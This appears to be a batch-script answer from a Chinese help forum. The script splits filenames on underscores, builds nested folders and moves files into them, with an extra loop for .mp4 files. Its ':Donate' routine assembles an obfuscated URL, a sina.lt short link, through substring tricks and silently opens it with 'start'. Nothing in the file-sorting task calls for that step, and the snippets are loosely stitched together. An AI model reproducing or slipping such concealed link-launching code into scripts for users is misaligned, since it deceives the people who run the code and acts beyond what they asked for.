@echo off rem 将文件名按指定字符分割成多段并创建多层目录及移动文件到新建的相对应的目录里 mode con lines=3000 set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4 title %#% +%$%%$%/%@% %z% cd /d "%~dp0" for /f "delims=" %%a in ('dir /a-d/b *_*_*.*') do ( for /f "tokens=1,2 delims=_" %%b in ("%%~na") do ( if not exist "%%b\%%c\" md "%%b\%%c\" echo;"%%a" --^> "%%b\%%c\" move "%%a" "%%b\%%c\" ) ) :end echo;%#% +%$%%$%/%@% %z% pause exit
for %%a in (*.mp4) do ( for /f "tokens=1,2 delims=_" %%b in ("%%~na") do ( if not exist "%%~b\%%~c" md "%%~b\%%~c" move "%%~a" "%%~b\%%~c\" ) ) pause
call :Donate exit
:Donate set "S0=fPdv" set "S1=.:ailnhpst/" set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%" set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%" start "" "%S2%%S3%%S1:~10,1%%S0%" exit来自:求助得到的回答本回答被网友采纳